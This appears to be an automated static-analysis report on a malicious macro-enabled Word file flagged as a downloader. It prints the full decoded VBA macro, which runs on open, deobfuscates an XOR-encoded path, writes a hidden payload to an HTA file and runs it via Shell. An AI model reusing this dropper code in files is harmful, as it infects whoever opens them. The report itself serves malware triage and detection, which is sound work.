Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 afd32c7e27c469e0…

MALICIOUS

Office (OOXML)

78.8 KB Created: 2021-01-29 11:46:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2021-02-20
MD5: 82de70a70bab563636de049716b364c1 SHA-1: f3058086b6f06004ed6f61deffac13323ddc3ec3 SHA-256: afd32c7e27c469e06c147c7a92715a74524b7ec9e97b622dc4a708485c17d461
152 Risk Score

Heuristics 6

  • ClamAV: Doc.Downloader.8f0f0f0fe0f0f0f0-OOXML-9981534-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.8f0f0f0fe0f0f0f0-OOXML-9981534-0
  • VBA project inside OOXML medium 2 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
    Shell aRPMl & " " & a9MlVb
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub AutoOpen()
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 1918 bytes
SHA-256: bef47fe29271242e367d41798eeda85006e2c3262564117a447a8a84339059d2
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "myshow"
Attribute VB_Base = "0{753485C1-086E-4CD8-966C-ACE3AFE32F66}{ADA166AA-125D-430E-B440-966E4BFFC509}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "aokBN"
Sub AutoOpen()
aGeZvo
End Sub

Attribute VB_Name = "aaiM6"
Function aPEWT()
aPEWT = myshow.t1.value
End Function
Function aAF3g(aM0BNA)
Dim agtNZ As String
Dim aLXOJ0 As String
Dim awpIE9 As Long
Dim aWR2L As Integer
awpIE9 = Len(aM0BNA)
agtNZ = ""
For aWR2L = awpIE9 To 1 Step -1
aLXOJ0 = Mid(aM0BNA, aWR2L, 1)
agtNZ = agtNZ & aLXOJ0
Next aWR2L
aAF3g = agtNZ
End Function
Function awvbJ(a582O)
awvbJ = Chr(a582O)
End Function
Function a3ZlWG(a0s9I)
a3ZlWG = Split(a0s9I, ".")
End Function
Sub amnbV7(ahAcO, aPDgfU)
Open "" & "" & "" & ahAcO For Output As #1
Print #1, aPDgfU
Close #1
End Sub

Attribute VB_Name = "a0miPy"
Public Const acXTD0 As String = "10.23.31.3.0.29.10.29"
Public Const arDIL As String = "12.85.51.31.29.0.8.29.14.2.11.14.27.14.51.14.87.93.58.36.65.7.27.14"
Function aOShr(aOB6tC, aHRhI)
aOShr = Trim(aOB6tC Xor aHRhI)
End Function
Function amGpi(ao4ZI As Variant)
Dim a2sRTO As String
a2sRTO = ""
For aENJG5 = 0 To UBound(ao4ZI)
abOiRt = awvbJ(aOShr(ao4ZI(aENJG5), 111))
a2sRTO = a2sRTO & abOiRt
Next aENJG5
amGpi = a2sRTO
End Function
Sub aGeZvo()
aEas1 = aPEWT
aRPMl = amGpi(a3ZlWG(acXTD0))
a9MlVb = amGpi(a3ZlWG(arDIL))
amnbV7 a9MlVb, aAF3g(aEas1)
Shell aRPMl & " " & a9MlVb
End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 39424 bytes
SHA-256: df04307cbc6f2ed58ca38cfa4663214a1eac440668408bc8e40b3471485b244e
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 2 long base64-like blob(s).

Open this report in the interactive analyzer, or submit your own file for analysis.